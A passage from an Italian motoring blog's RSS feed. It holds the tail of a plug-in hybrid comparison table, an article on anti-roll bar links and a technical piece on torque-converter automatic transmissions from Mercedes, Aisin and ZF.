PHEV</td><td>PHEV68</td><td>13,8</td><td>180-60-265</td><td>61.000</td></tr><tr><td>Land Rover</td><td>Discovery Sport P330e PHEV AWD</td><td>PHEV64</td><td>15,0</td><td>200-109-309cv</td><td>51.500</td></tr><tr><td>Mazda </td><td>XC-60 </td><td>PHEV60 </td><td>17,5</td><td>192-136-<strong>347</strong></td><td>49.950</td></tr><tr><td>BMW</td><td>X3 eXdrive</td><td>PHEV58</td><td>12,0</td><td>184-109-292cv</td><td>59.000</td></tr><tr><td>DS</td><td>DS7 Crossback E-Tense 4&#215;4</td><td>PHEV58</td><td>13,2</td><td>200-110/113&nbsp; -300</td><td>52.000</td></tr><tr><td>Audi</td><td>Q5 55 TFSI e quattro S tronic</td><td>PHEV55</td><td>14,1</td><td>252-143-367</td><td>58.585</td></tr><tr><td>Mercedes</td><td>&nbsp;GLC 300e/de 4Matic EQ Power</td><td>PHEV51</td><td>13,5</td><td>211-122-321cv benz 194-122-306 cv diesel</td><td>65.800 70.500</td></tr><tr><td>Volvo</td><td>&nbsp;XC60 T6 Recharge plug-in hybrid AWD&nbsp;</td><td>PHEV50</td><td>11,6</td><td><strong>253</strong>-88-341cv</td><td>56.000</td></tr><tr><td><strong>Segmento “E Berline Grandi”</strong></td><td>&nbsp;</td><td></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>BMW</td><td>530e/Xdrive</td><td><strong>PHEV58-66</strong></td><td>12.0</td><td>184-109-292</td><td>62.500 64.000</td></tr><tr><td>Audi</td><td>A6/Avant/A7 50 TSFIe Quattro</td><td>PHEV59-64</td><td><strong>14,1</strong></td><td>253-<strong>143</strong>-367</td><td>63.300 &#8211; 75.200</td></tr><tr><td>Mercedes</td><td>Mercedes E300e/E300de/4Matic EQ Power</td><td>PHEV54-59</td><td>13,5</td><td>211-122-321cv benz 194-122-306 cv diesel</td><td>65.000-69.700</td></tr><tr><td>Volvo</td><td>S60/V60 T6-T8 Recharge plug-in hybrid AWD</td><td>PHEV55-59</td><td>11,6</td><td><strong>317</strong>-88-<strong>408</strong></td><td>58.300 61.250</td></tr><tr><td>Mitsubishi</td><td>Outlander PHEV</td><td>PHEV48</td><td>13,8</td><td>135-82/95-224</td><td><strong>45.000</strong></td></tr><tr><td><strong>Segmento SUV Grandi</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>Mercedes</td><td>GLE/Coupè EQ-Power 300e</td><td><strong>PHEV106</strong></td><td><strong>32,2</strong></td><td>211-122-321cv benz 194-122-306 cv diesel</td><td>80.000-85.000</td></tr><tr><td>BMW</td><td>X5/X6 xDrive 45e</td><td>PHEV102</td><td>25,9</td><td>286-113-394cv</td><td>86.000</td></tr><tr><td>Audi</td><td>&nbsp;Q7 55 TFSI e quattro tiptronic</td><td>PHEV55</td><td>17,3</td><td>252-<strong>143</strong>-367cv</td><td>76.200</td></tr><tr><td>Volvo</td><td>&nbsp;XC60 T8 Recharge plug-in hybrid AWD</td><td>PHEV54</td><td>11,6</td><td>317-88-408cv</td><td><strong>68.000</strong></td></tr><tr><td>Range Rover</td><td>Sport SE 2.0 P400e PHEV AWD</td><td>PHEV51</td><td>13,1</td><td>300-<strong>143</strong>-404cv</td><td>93.000</td></tr><tr><td>Volvo</td><td>XC90 T8 Recharge plug-in hybrid</td><td>PHEV50</td><td>11,6</td><td>317-88-408cv</td><td>86.500</td></tr><tr><td>Ford</td><td>Explorer Plug-in Hybrid</td><td>PHEV48</td><td>13,6</td><td><strong>349</strong>-101-<strong>450</strong></td><td>81.000</td></tr><tr><td><strong>Ammiraglie</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>BMW</td><td>745e</td><td><strong>PHEV58</strong></td><td>12,0</td><td>286-113-394cv</td><td>108.000</td></tr><tr><td>Volvo</td><td>S90/V90 T6 Recharge</td><td>PHEV53</td><td>11,6</td><td>253-88-341cv</td><td><strong>68.000</strong></td></tr><tr><td>Volvo</td><td>&nbsp;S90V90 T8 Recharge plug-in hybrid AWD</td><td>PHEV53</td><td>11,6</td><td>317-88-408cv</td><td>68.200</td></tr><tr><td>Audi</td><td>A8 L 60 TFSI e quattro tiptronic</td><td>PHEV51</td><td><strong>14,2</strong></td><td>340-<strong>136</strong>-449cv</td><td>108.850</td></tr><tr><td>Mercedes</td><td>&nbsp;S 560e Premium EQ Power Lunga</td><td>PHEV50</td><td>13,5</td><td><strong>367-</strong>122-<strong>476cv</strong></td><td>122.000</td></tr><tr><td>Porsche</td><td>Panamera 4 E-Hybrid</td><td>PHEV44</td><td>14,1</td><td>330-<strong>136-</strong>462</td><td>118.000</td></tr><tr><td><strong>SUV Ammiraglie</strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>Bentley</td><td>Bentayga Plug-in Hybrid</td><td>PHEV51</td><td>17,3</td><td>340-136-449cv</td><td>176.200</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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			</item>
		<item>
		<title>A cosa serve il collegamento stabilizzatore</title>
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		<dc:creator><![CDATA[Alessio Mazzocco]]></dc:creator>
		<pubDate>Wed, 24 Mar 2021 18:22:01 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La nostra auto è un insieme di componenti che, messi insieme, ci permettono di circolare in totale tranquillità. Tra i componenti più importanti di un’automobile c’è senza alcun dubbio c’è lo stabilizzatore. Forse non tutti lo conoscono ma è di fondamentale importanza in quanto si tratta di uno strumento che viene fissato su entrambi i [&#8230;]</p>
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<p class="wp-block-paragraph">La nostra auto è un insieme di componenti che, messi insieme, ci permettono di circolare in totale tranquillità. Tra i componenti più importanti di un’automobile c’è senza alcun dubbio c’è lo stabilizzatore. Forse non tutti lo conoscono ma è di fondamentale importanza in quanto si tratta di uno strumento che viene fissato su entrambi i bilancieri ed è utile per trasferire il movimento da una parte all’altra del veicoli.</p>



<p class="wp-block-paragraph">Lo stabilizzatore, dunque, evita che il peso dell’auto si distribuisca in maniera non uniforme e ciò lo rende indispensabile soprattutto in curva, quando il peso della vettura si concentra sulle ruote esterne. Grazie al collegamento stabilizzatore, dunque, il movimento è controllato e ciò accade attraverso la rigidità della barra stabilizzatrice dell’auto.</p>



<p class="wp-block-paragraph">Se questa risulta essere particolarmente rigida, allora il meccanismo trasmetterà una potenza elevata. Se invece la barra è poco rigida, allora la potenza sarà inferiore. Questo vuol dire che il telaio della vettura presenti una rigidità adeguata al funzionamento della stessa. Non a caso gran parte dei modelli di vetture presenti sul mercato presentano uno stabilizzatore anteriore che migliora sia l’aderenza dell’asse posteriore sia la risposta alle sterzate.</p>



<p class="wp-block-paragraph">Questo concetto cambia nelle automobili sportive dove sempre più spesso si utilizza lo stabilizzatore componente che è utile per far sì che le ruote anteriori mantengano aderenza, anche quando si percorrono le curve ad alta velocità.</p>



<p class="wp-block-paragraph">In ogni caso lo stabilizzatore svolge un ruolo di primaria importanza nella sicurezza della vettura e quindi dei passeggeri. Questo perché garantisce, come detto, l’aderenza degli pneumatici in modo da distribuire il peso su tutto il veicolo, evitando di caricare solamente le ruote esterne quando si affronta una curva.</p>



<p class="wp-block-paragraph">Grazie a questo componente, infatti, si riduce l’inclinazione causata dalla forza centrifuga e si va a trasferire il peso del veicolo su tutte e quattro le ruote. In questo modo, gli pneumatici aderiscono meglio al manto stradale e il peso va a ridistribuirsi sull’intero veicolo.</p>



<p class="wp-block-paragraph"><strong>La barra di accoppiamento Mapco</strong></p>



<p class="wp-block-paragraph">Sul mercato esistono diversi prodotti di qualità eccelse. Ad esempio la <a href="https://www.tuttoautoricambi.it/mapco-7593006.html" target="_blank" rel="noopener"><u>barra accoppiamento stabilizzatore Mapco adatto può essere installato</u></a> su diverse vetture. Ovviamente l’acquisto di un nuovo componente deve essere effettuato seguendo le caratteristiche e le specifiche della vettura. Per sostituire è importante posizionare la vettura su un martinetto o su un asse, svitare il supporto, bloccare le facce sul perno e premere la barra di accoppiamento fino a farla uscire dal supporto. Fatto ciò sarà possibile inserire la nuova sull’ammortizzatore telescopico che andrà serrata in base alle specifiche del costruttore del veicolo.</p>



<p class="wp-block-paragraph">Altro consiglio molto importante da seguire è quello di cambiare la barra sempre in coppia con l’ausilio di un meccanico specializzato in modo da ottenere sempre un risultato ottimale.</p>
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		<title>Cambi Automatici Parte I &#8211; Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF</title>
		<link>https://www.giornalemotori.com/2021/02/21/cambi-automatici-parte-i-convertitore-di-coppia-funzionamento-ed-esempi-mercedes-aisin-e-zf/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=cambi-automatici-parte-i-convertitore-di-coppia-funzionamento-ed-esempi-mercedes-aisin-e-zf</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 21 Feb 2021 12:53:19 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il cambio automatico aiuta la vita dell’automobilista. Inutile girarci intorno, per quanto sia gradevole nella guida sportiva un bel manuale, basta l’assenza del pedale della frizione per apprezzarne la funzionalità dopo solo 20 metri di guida. Se le competizioni sono il metro di giudizio di una soluzione tecnica allora il cambio automatico è utilizzato a [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Il cambio automatico aiuta la vita dell’automobilista. Inutile girarci intorno, per quanto sia gradevole nella guida sportiva un bel manuale, basta l’assenza del pedale della frizione per apprezzarne la funzionalità dopo solo 20 metri di guida.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/ZF_5HP19-730x520.jpg" alt="ZF 5HP19" class="wp-image-103870" width="548" height="390" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 328"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 345</figcaption></figure>



<p class="wp-block-paragraph">Se le competizioni sono il metro di giudizio di una soluzione tecnica allora il cambio automatico è utilizzato a tutti i livello fugando ogni dubbio. </p>



<p class="wp-block-paragraph">I moderni cambi automatici si sono molto evoluti proponendo diverse soluzioni tecniche. Dal classico cambio a convertitore di coppia, ai comandi a doppia frizione, fino ai cambia a variazione continua CVT.</p>



<p class="wp-block-paragraph"> L’affidabilità è migliorata al punto che basta poca corretta manutenzione per farlo durare a lungo almeno quanto un motore endotermico ad esso accoppiato. La sempre maggiore diffusione ha spesso relegato il cambio manuale a scelta opzionale, diventando assolutamente fondamentale per la gestione dei sistemi di propulsione ibrida. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/16159-torque_multiplier_risultato-1-730x440.jpg" alt="16159 torque multiplier risultato 1" class="wp-image-103871" width="548" height="330" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 329"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 346</figcaption></figure>



<p class="wp-block-paragraph">Tutto bello quindi? Non proprio. Tutti i grandi produttori, tranne qualche rara eccezione si affidano agli specialisti del settore al punto da diventare un brand nel brand, un valore aggiunto alla qualità del prodotto finale.</p>



<p class="wp-block-paragraph"><strong>Funzionamento di un cambio a convertitore di coppia</strong></p>



<p class="wp-block-paragraph">In questa prima parte di questo focus descriveremo il cambio a convertitore di coppia. Si tratta di un dispositivo idraulico che permette al motore di trasferire&nbsp;coppia&nbsp;alla trasmissione, in modo fluido. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/Cambio-Mercedes-722.9-approfondimento-e-casistica-guasto-730x383.jpg" alt="Cambio Mercedes 722.9 approfondimento e casistica guasto" class="wp-image-103854" width="548" height="287" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 330"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 347</figcaption></figure>



<p class="wp-block-paragraph">E’ formato da una camera a forma&nbsp;toroidale, costituita da tre elementi: Una&nbsp;pompa centrifuga collegata all&#8217;albero motore che conferisce la spinta necessaria al movimento. Una&nbsp;turbina ne riceve la spinta che poi trasmette alla trasmissione. </p>



<p class="wp-block-paragraph">Lo statore dispone di palette curve che mettono in pressione il fluido di olio che investe la girante che trasferisce la coppia. Il fluido viene spinto verso l’esterno per effetto della&nbsp;forza centrifuga acquistando momento angolare. Il ritorno verso il centro attraverso le pale della turbina produce la rotazione per poi essere espulso dal sistema per iniziare un nuovo ciclo di funzionamento. </p>



<figure class="wp-block-image size-large"><img decoding="async" width="500" height="348" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/Figura2.jpg" alt="Figura2" class="wp-image-103856" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 331" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/02/Figura2.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2021/02/Figura2-300x209.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 348</figcaption></figure>



<p class="wp-block-paragraph">Il movimento della girante sviluppa la coppia uscente che può anche essere superiore a quella di entrata, da cui il nome del dispositivo. L’inerzia della girante a mettersi in movimento rappresenta il classico slittamento che questo tipo di cambio produce, (o produceva) quando si accelera la vettura.</p>



<p class="wp-block-paragraph">Il convertitore è collegato alla trasmissione tramite un giunto gestito con una frizione. L&#8217;intero elemento viene definito Lock-Up e ha il compito di limitare al massimo lo slittamento quando trasferisce all’albero primario del cambio.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="363" height="193" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/19-1.jpg" alt="19 1" class="wp-image-103853" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 332" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/02/19-1.jpg 363w, https://www.giornalemotori.com/wp-content/uploads/2021/02/19-1-300x160.jpg 300w" sizes="(max-width: 363px) 100vw, 363px" /><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 349</figcaption></figure>



<p class="wp-block-paragraph">La selezione dei rapporti avviene attraverso l’azione di ingranaggi di tipo epicicloidale. Ogni elemento è composto da un ingranaggio centrale (A) che prende il movimento dall’albero motore. Intorno ad esso ci sono dei planetari (B) collegati ad una corona esterna (C) a sua volta racchiusa un una gabbia la cui chiusura viene gestita da un pacco frizioni.</p>



<p class="wp-block-paragraph">La differenza di rotazione tra l’albero centrale e la corona esterna, consente di sviluppare diversi rapporti. Adottando diversi gruppi rotori e variando la loro azione, anche in modo congiunto, si possono avere da tre, fino a dieci marce.   Un numero maggiore di marce consente al progettista di gestire al meglio la curva di coppia del motore bilanciando prestazioni ed efficienza. </p>



<p class="wp-block-paragraph">Questo tipo di trasmissione di adatta sia alla disposizione longitudinale che alla trasversale del motore. Questi ultimi sono molto compatti anche a nove rapporti al pari dei cambi a doppia frizione. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/2010-206478-mercedes-benz-7g-tronic-seven-speed-automatic-transmission-2003-19-07-20101-730x411.jpg" alt="2010 206478 mercedes benz 7g tronic seven speed automatic transmission 2003 19 07 20101" class="wp-image-103857" width="548" height="308" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 333"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 350</figcaption></figure>



<p class="wp-block-paragraph">La gestione elettronica consente di avere diverse logiche di cambiata sia in modo adattativo che variando manualmente le funzioni con un comando. Si possono avere funzioni specifiche ECO, comfort, sport di vario livello e individual per personalizzare la cambiata. </p>



<p class="wp-block-paragraph">In alcuni casi c&#8217;è ancora la classica griglia con leva e selettore con le lettere (P) Parking, (R) Retro, (N) Neutral e (D) Drive. Oggi questa viene sostituita da una manopola o un selettore digitale. Inoltre ci sono palette per l&#8217;azionamento manuale della cambiata. </p>



<p class="wp-block-paragraph"><strong>Mercedes 7G-Tronic e 9G-Tronic </strong></p>



<p class="wp-block-paragraph">Mercedes è una delle rare eccezioni che produce internamente la trasmissione automatica a convertitore di coppia con i due cambi  7G-Tronic e 9G-Tronic. </p>



<p class="wp-block-paragraph">Il 7G-Tronic è un esempio di robustezza. Unico nel suo genere per affidabilità e resistenza,  è stato il primo cambio di questo tipo a superare la quota 1000Nm di coppia di gestione.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/9g-tronic.png" alt="9g tronic" class="wp-image-103858" width="334" height="258" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 334" srcset="https://www.giornalemotori.com/wp-content/uploads/2021/02/9g-tronic.png 445w, https://www.giornalemotori.com/wp-content/uploads/2021/02/9g-tronic-300x232.png 300w" sizes="(max-width: 334px) 100vw, 334px" /><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 351</figcaption></figure>



<p class="wp-block-paragraph">Il fratello 9G-Tronic viene denominato &nbsp;W9A&nbsp;700. La sigla indica il tipo di trasmissione a convertitore, il numero delle marce ed il limite di coppia gestibile 700Nm rispetto al 7G-Tronic marce in meno. </p>



<p class="wp-block-paragraph">Dal punto di vista tecnico i due cambi differiscono per i gruppi di ingranaggi epicicloidali con sei elementi che consentono di ottenere nove rapporti. Il convertitore di coppia aumenta la sua efficienza portandola al 92%, un valore record per queste trasmissioni. </p>



<p class="wp-block-paragraph">La riduzione delle forze di torsione sulla turbina del convertitore avviene attraverso un sistema di bilanciamento a pendolo centrifugo e frizione di blocco con molla di ritorno.  Un sistema complesso e costoso ma che riuce al minimo rumorosità e vibrazioni. </p>



<p class="wp-block-paragraph">L’olio nel convertitore viene fornito attraverso una pompa ad azionamento differenziato a seconda delle esigenze una ulteriore pompa ausiliaria elettrica. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/9G-TRONIC_2-1024x682-1-730x486.jpg" alt="9G TRONIC 2 1024x682 1" class="wp-image-103859" width="548" height="365" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 335"><figcaption>Mercedes-Benz Automatik-Getriebe 9G-TRONIC, 2013
Mercedes-Benz automatic transmission 9G-TRONIC</figcaption></figure>



<p class="wp-block-paragraph">Una delle caratteristiche che rendono unica questa trasmissione è il peso contenuto e la compattezza. Un lavoro di riprogettazione specifico del albero di trasmissione principale che ha consentito di avere due marce in più con lo stesso peso del 7G-Tronic. </p>



<p class="wp-block-paragraph"><strong>La soluzioni di AISIN e ZF. </strong></p>



<p class="wp-block-paragraph">La Aisin, colosso giapponese della componentistica, specializzata in trasmissioni, è stata la prima a progettare un cambio automatico a convertitore con otto rapporti per vetture con motore longitudinale e trazione posteriore per Lexus. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/sec2_img1-730x575.png" alt="sec2 img1" class="wp-image-103861" width="548" height="431" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 336"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 352</figcaption></figure>



<p class="wp-block-paragraph">La serie AW nata sul finire degli anni 60 del secolo scorso con soli tre rapporti si è evoluta nei decenni in una trasmissione sempre più compatta a leggera aumentando il numero delle marce. </p>



<p class="wp-block-paragraph">E&#8217; stata di fatto la prima a raggiungere le otto marce. Nelle ultime evoluzioni tecniche il convertitore ha le dimensioni più contenute del mercato ed è solidale alla campana. Oltre a contenere dimensioni consente una struttura più rigida. </p>



<p class="wp-block-paragraph">L&#8217;utilizzo incrociato dei blocchi epicicloidali, anche più di uno contemporaneamente, consente di ottenere più marce senza aumentare il numero dei gruppi di ingranaggi. Una soluzione che ha consentito di ottenere ancora una volta il record di essere il primo cambio a 10 velocità.   </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/transmission_002-730x457.jpg" alt="transmission 002" class="wp-image-103862" width="548" height="343" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 337"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 353</figcaption></figure>



<p class="wp-block-paragraph">Infine, la Aisin per effetto della sua stretta collaborazione con Toyota è stata la prima ad adattare una trasmissione automatica sostituendo il convertitore di coppia con un motore elettrico adattandosi alla propulsione ibrida delle vetture alto di gamma Lexus. </p>



<p class="wp-block-paragraph">Il produttore giapponese applica lo stesso concetto di efficienza e leggerezza anche per il cambio a convertitore per automobili con motore trasversale con la serie AWF8G45. Un cambio scelto da molti produttori europei per la sua gradevolezza e versatilità. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/Aisin_AW_AWF8F35-730x660.jpg" alt="Aisin AW AWF8F35" class="wp-image-103863" width="548" height="495" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 338"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 354</figcaption></figure>



<p class="wp-block-paragraph">ZF dall’altra parte del mondo non è stata ferma a guardare. Il colosso tedesco della componentistica ha progettato un innovativo, economico ma soprattutto modulare cambio automatico a convertitore a otto marce denominato 8HP.</p>



<p class="wp-block-paragraph">La sua facile adattabilità con un range di coppia gestibile  da 220 a 1.000 Nm compre una vasta gamma di veicoli con motore longitudinale a trazione posteriore ed integrale. Il cambio ZF 8HP è adattabile sia meccanicamente che per la gestione elettronica a seconda delle esigenze</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/8hp-1-730x423.jpg" alt="8hp 1" class="wp-image-103864" width="548" height="317" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 339"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 355</figcaption></figure>



<p class="wp-block-paragraph">Il cambio 8HP punta tutto su soluzioni semplici ed affidabili. Dal punto di vista tecnico è il cambio più simile al canonico descritto in apertura di articolo. Quattro elementi epicicloidali, con cinque elementi di combinazione e tre frizioni multidisco.</p>



<p class="wp-block-paragraph"> Ogni cambio marcia utilizza solo due elementi riducendo le perdite meccaniche. Ogni elemento della trasmissione viene migliorato dal punto di vista dell&#8217;efficienza, dalle lavorazioni meccaniche all&#8217;idraulica per l&#8217;azionamento e la lubrificazione, piuttosto che usare soluzioni avveniristiche. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/cambio-automatico-zf_8hp_lv-730x487.jpg" alt="cambio automatico zf 8hp lv" class="wp-image-103865" width="548" height="365" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 340"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 356</figcaption></figure>



<p class="wp-block-paragraph">Il risultato è un cambio automatico di soli 87 chilogrammi. Un concetto importante per i costruttori che puntano sul centraggio delle masse migliorando il comportamento dinamico del veicolo.  Si capisce meglio perchè viene scelto da produttori come Alfa Romeo e BMW. </p>



<p class="wp-block-paragraph">Anche ZF adatta la sua trasmissione automatica per ottenere vari livelli di ibridazione. A seconda del motore elettrico integrato nella campana del cambio, si può avere una propulsione mild hybrid, full Hybrid o PHEV con potenza elettriche fino a 100kw, ovvero 160cv elettrico&nbsp;</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/Wandler-Hybridgetriebe_3_2_748px-730x487.jpg" alt="Wandler Hybridgetriebe 3 2 748px" class="wp-image-103866" width="548" height="365" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 341"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 357</figcaption></figure>



<p class="wp-block-paragraph">La trasmissione automatica per motori trasversali 9HP adotta lo stesso principio di modulabilità e facilità. Si adatta perfettamente a vetture con trazione anteriore o integrale.</p>



<p class="wp-block-paragraph">I rapporti sono quattro con sei elementi. Per ottenere una trasmissione compatta non è stato possibile inserire gli elementi in sequenza uno dietro l’altro, ma si è utilizzata una disposizione diversa con azionamento idraulico.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/cars_driveline_9_speed_automatic_transmission_9HP_3_2_748px-730x487.jpg" alt="cars driveline 9 speed automatic transmission 9HP 3 2 748px" class="wp-image-103895" width="548" height="365" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 342"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 358</figcaption></figure>



<p class="wp-block-paragraph"> Una soluzione che determina una perdita di efficienza, ma appare l&#8217;unica via per ottenere un cambio compatto e facilmente adattabile. Anche il peso è leggermente penalizzato con i suoi 90kg, più alta che nella 9HP don coppia massima di 500Nm. </p>



<p class="wp-block-paragraph"> Anche ZF utilizza una gestione elettronica per adattare le prestazioni ed efficienza. Anche questa soluzione per motori trasversali si adatta alla tecnologia ibrida dal mild hybrid al plug-in.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/Hybrid_Baukasten-730x548.png" alt="Hybrid Baukasten" class="wp-image-103867" width="548" height="411" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 343"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 359</figcaption></figure>



<p class="wp-block-paragraph"><strong>In conclusione</strong></p>



<p class="wp-block-paragraph"> Il cambio automatico a convertitore spesso viene considerato inferiore alle trasmissioni a doppia frizione ma come visto ha  molte frecce al suo arco. Un cambio fluido e comodo, adatto alla guida rilassata e confortevole, senza rinunciare ad aspetti sportivi per la bella guida. </p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2021/02/EA3CCFBC-D1F0-44DE-A578-4B55B2B993DC-800x445-1-730x406.jpeg" alt="EA3CCFBC D1F0 44DE A578 4B55B2B993DC 800x445 1" class="wp-image-103868" width="548" height="305" title="Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 344"><figcaption>Cambi Automatici Parte I - Convertitore di coppia, funzionamento ed esempi Mercedes, Aisin e ZF 360</figcaption></figure>



<p class="wp-block-paragraph">Il cambio automatico,  a prescindere dalla tipologia,  resta uno dei componenti più costosi dell&#8217;automobile. Come abbiamo visto, due colossi come AISIN e ZF hanno avuto la forza di investire ingenti somme nello sviluppo di queste tecnologie ed oggi si dividono il mercato assieme ad altri produttori più specialistici come Ricardo e Getrag. </p>



<p class="wp-block-paragraph">I grandi gruppi Toyota, Volkswagen, PSA, FCA, Ford, GM, Mazda e Mitsubishi, utilizzano nella loro gamma tanto i prodotti Aisin che ZF a seconda della necessità e dell&#8217;esigenza per soddisfare i requisiti tecnici uniti a quelli commerciali dei loro prodotti. </p>



<p class="wp-block-paragraph">In ogni depliant è riportato il nome del produttore del cambio automatico, giustificando al cliente finale la scelta dell&#8217;elemento migliore possibile presente sul mercato per quelle prestazioni. </p>



<p class="wp-block-paragraph">Un concetto molto caro ai team britannici che corrono in F1 che non producono componenti complessi come power unit e trasmissione per limitarsi ad assemblare per le proprie esigenze il meglio che possono comprare. Uno come Enzo Ferrari sminuiva con il con il nomignolo di Gargisti senza lo status di Costruttori. </p>



<p class="wp-block-paragraph">Tale titolo spetta invece alla Mercedes. I cambi 7g-Tronic e 9G-Tronic hanno la capacità di garantire al cliente della stella a tre punte un cambio unico nel suo genere che distingue le vetture della Daimler-Benz da tutte le altre. Una potenza industriale e tecnica che dimostra come il colosso tedesco sia meritevolmente sul tetto del mondo delle competizioni.  </p>



<p class="wp-block-paragraph">Daniele Amore</p>



<p class="wp-block-paragraph"></p>
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		<title>Tecnica FULL HYBRID  &#8211; Confronto tra soluzioni, Honda, Hyundai, Nissan, Renault e Toyota.</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Mon, 01 Feb 2021 05:00:00 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Abbiamo già parlato diffusamente di sistemi full hybrid. (F-HEV.) In questa seconda parte vogliamo fare un’analisi dettagliata delle principali tecnologie usate dai vari brand nel segmento “B” e “C” del mercato. Le tecnologie prese in esame sono: Honda e:HEV, Hyundai FEV, Nissan e-Power, Renault E-TECH e Toyota HSD. In particolare il sistema Nissan, è presente [&#8230;]</p>
